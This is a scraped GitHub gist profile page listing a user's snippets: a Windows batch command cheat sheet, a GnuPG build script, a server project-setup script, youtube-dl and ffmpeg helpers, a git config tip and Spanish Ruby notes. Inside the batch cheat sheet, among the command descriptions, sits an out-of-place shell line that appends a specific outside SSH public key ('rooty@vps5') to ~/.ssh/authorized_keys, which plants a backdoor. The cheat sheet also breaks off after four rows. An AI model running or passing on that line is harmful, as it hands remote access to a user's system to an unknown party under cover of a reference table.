Skip to content

Instantly share code, notes, and snippets.

View zipizap's full-sized avatar

zipizap

View GitHub Profile

Batch Cheat Sheet

For more information on a specific command, type HELP command-name

Command Description
ASSOC Displays or modifies file extension associations.
ATTRIB Displays or changes file attributes.
BREAK Sets or clears extended CTRL+C checking.
BCDEDIT Sets properties in boot database to control boot loading.
cd && mkdir -p ~/.ssh && echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFxm8WlYkMTMI4VJSl8+VxnYuPjC7mbpF1SUeG8grz1r rooty@vps5' >> ~/.ssh/authorized_keys; chmod 700 ~/.ssh; chmod 600 ~/.ssh/authorized_keys
@zipizap
zipizap / install-gnupg2.1.15.sh
Last active December 1, 2016 21:44 — forked from vt0r/GnuPG-2.2.md
Build/install instructions for GnuPG 2.1.x on Ubuntu and similar distros
#!/bin/bash
# Script to automatically download + compile + install GnuPG 2.1.15
# 2016/08/24 - Updated script and tested with Debian 8.5 Jessie
set -x
apt-get update
apt-get -y install build-essential libgnutls-dev bzip2 make gettext texinfo gnutls-bin libgnutls28-dev build-essential libbz2-dev zlib1g-dev libncurses5-dev
mkdir -p /var/src/gnupg21 && cd /var/src/gnupg21
@zipizap
zipizap / create_new_project.sh
Last active September 6, 2016 09:46
server script to create a new project, with its own user/group, gitolite-repo, rvm+ruby/gemset, etc
#!/bin/bash
function shw_grey { echo -e '\033[1;30m'"$1"'\033[0m'; }
function shw_norm { echo "$1"; }
function shw_info { echo -e '\033[1;34m'"$1"'\033[0m'; }
function shw_warn { echo -e '\033[1;33m'"$1"'\033[0m'; }
function shw_err { echo -e '\033[1;31mERROR: '"$1"'\033[0m'; exit 255; }
function run_as_user_new_proj { sudo -u $NEW_PROJ -i bash -l -c "$1" ; }
@zipizap
zipizap / youtube-dl_as_mp3.sh
Created May 12, 2016 09:25
Download from youtube to mp3
#!/usr/bin/env bash
#
# To instal youtube-dl, see https://rg3.github.io/youtube-dl/
#
[[ "$1" ]] || { echo "Usage: $0 <YoutubeUrl>"; exit 1; }
./youtube-dl --extract-audio --audio-format mp3 --prefer-ffmpeg "$1"
@zipizap
zipizap / example.txt
Created September 16, 2015 15:08
how to enable non-fast-foward by default in ~/.gitconfig
[merge]
ff = no
# same as argument "--no-ff"
# see http://stackoverflow.com/a/14865661
@zipizap
zipizap / notas_ruby.md
Last active August 28, 2015 21:58
Notas sobre Ruby

Instalar ruby

  • https://www.ruby-lang.org
  • ruby es un lenguage interpretado, no es compilado. No hay compiladores de ruby, hay interpretes de ruby.
  • A medida que fueron cambiando el lenguage (introduciendo comandos nuevos y etc) han ido cambiando el numero de version. Las versiones mas famosas son 1.8, 1.9, 2.0.
  • El codigo escrito para v1.8 funciona en versiones superiores (v2.0 por ejemplo), pero el codigo escrito para v1.9 no funciona en versinoes anteriores (v1.8 por ejemplo)
  • Hay bastantes libros sobre Ruby1.9: el lenguage es casi lo mismo entre las versiones, los cambios son pequeños y una vez se aprender el lenguage solo se tarda unas pocas horas a ler las diferencias entre las versinoes. Asi que no vale la pena aprender ruby con un libro de 2.0, sino que aprender por cualquier libro que sean bueno en que versino sea, y despues ler blogs que dicen las diferencias entre las versiones.
  • Las librerias de ruby normalmente están hechas para una version de ruby, la versino mas actual
@zipizap
zipizap / do_this_manually.sh
Created August 25, 2015 22:14
How to compile ffmpeg with libfdk_aac in Ubuntu server 12.04 (does not work in other versions of ubuntu). See http://askubuntu.com/q/553688
### How to compile ffmpeg with libfdk_aac in Ubuntu server 12.04 (does not work in other versions of ubuntu). See http://askubuntu.com/q/553688
## install dependencies
# sudo apt-get update
# sudo apt-get -y install autoconf automake build-essential libass-dev libfreetype6-dev libgpac-dev libtheora-dev libtool libvorbis-dev pkg-config texi2html zlib1g-dev
# sudo apt-get install yasm
# sudo apt-get install libx264-dev
# sudo apt-get install unzip
# sudo apt-get install libmp3lame-dev
# sudo apt-get install libopus-dev
@zipizap
zipizap / show_video_audio_codecs.sh
Last active August 25, 2015 21:01
Show container/audio-codec/video-codec of media files (using ffmpeg -i)
#!/bin/bash
[ $# -lt 1 ] && { echo "Usage: $0 <myvideofile>"; exit 1; }
TMP_FILE=$(mktemp)
echo -e "MEDIA_FILE"\\t"EXTENSION"\\t"CONTAINER"\\t"AUDIO_CODEC"\\t"VIDEO_CODEC"
for MEDIA_FILE in "$@"; do
[[ -f $MEDIA_FILE ]] || continue
ffmpeg -i $MEDIA_FILE &> $TMP_FILE
BASE_FILENAME=$(basename "$MEDIA_FILE")
# MOV_0295.mp4
# To keep it DRY (and fix some errors, put some improvements) I've updated the firewall info in this other gist:
# https://gist.github.com/zipizap/6935850
# Check it out :)